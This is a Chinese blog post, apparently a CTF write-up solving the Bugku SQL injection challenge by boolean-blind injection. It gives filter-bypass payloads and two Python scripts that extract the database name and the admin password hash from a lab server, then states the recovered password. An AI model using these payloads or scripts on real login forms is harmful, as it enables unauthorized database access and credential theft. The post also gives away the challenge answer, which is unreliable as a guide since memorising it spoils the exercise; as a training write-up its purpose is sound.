当前位置:网站首页>Bugku sql注入
Bugku sql注入
2022-07-30 23:17:00 【白塔河冲浪手】
进入环境是个登录页面
提示这题布尔盲注,先fuzz一波
过滤了length,like,information,and,union,select,order,where等等
用括号绕过空格,我们发现能用的字符有<>,or,'
先万能密码试试看,<>是不等于的意思
'or(1<>2)#
'or(1<>1)#
可以确定这里有布尔盲注
那么开始注入 参考博客
'or(length(database())>7)# 回显password error!
'or(length(database())>8)# 回显username does not exist!
说明数据库长度为7
后面爆数据库
利用reverse和from
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>98)#
最后利用脚本爆出数据库
import requests
url='http://114.67.175.224:19015/index.php'
database=''
for i in range(1,9):
for p in range(45,126):
m=9-i
sql="a'or(ord(substr(reverse(substr((database())from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
database+=chr(p)
print (database)
break
print ("==========================")
print("\n"+database)
得到数据库后面因为fuzz后发现过滤了太多字符,所以这里根据参考博客是用字典跑出数据表和字段,这里先跳过
得到数据表admin和字段名password后
爆破密码
password=''
for i in range(1,33):
for p in range(45,126):
m=33-i
sql="a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
password+=chr(p)
print (password)
break
print ("==========================")
print("\n"+password)
解md5 4dcc88f8f1bc05e7c2ad1a60288481a2
得到密码bugctf
去登录 账号是admin
边栏推荐
猜你喜欢
uniapp开发微信小程序-软考刷题小程序
#yyds干货盘点# 面试必刷TOP101:判断链表中是否有环
微软商店出现【0x800706D9】解决方法
Gxlcms audio novel system/novel listening system source code
vscode上利用screen命令跑代码
2sk2225 Substitute 3A/1500V Chinese Documentation【PDF Data Book】
Excel basic study notes
2022 China Logistics Industry Conference and Entrepreneur Summit Forum will be held in Hangzhou!
win10重建索引
【MySQL】MySQL中对数据库及表的相关操作
随机推荐
IDEA usage skills
Go1.18升级功能 - 模糊测试Fuzz 从零开始Go语言
第一节 zadig 入门
2021GDCPC Guangdong University Student Programming Competition H.History
The problem of sticky packets in tcp protocol transmission
# Dasctf 7月赋能赛 WP
牛逼的公司都在用的绩效管理法OKR
Introducing the visualization tool Netron
解决一个Mysql的utf8编码导致的问题
[MySQL] DQL related operations
win10重建索引
软考总结
抽象类和接口(学习笔记)
Gxlcms audio novel system/novel listening system source code
Golang 切片删除指定元素的几种方法
Calico 网络通信原理揭秘
el-upload添加请求头
grub learning
实验7(MPLS实验)
一文详解:SRv6 Policy模型、算路及引流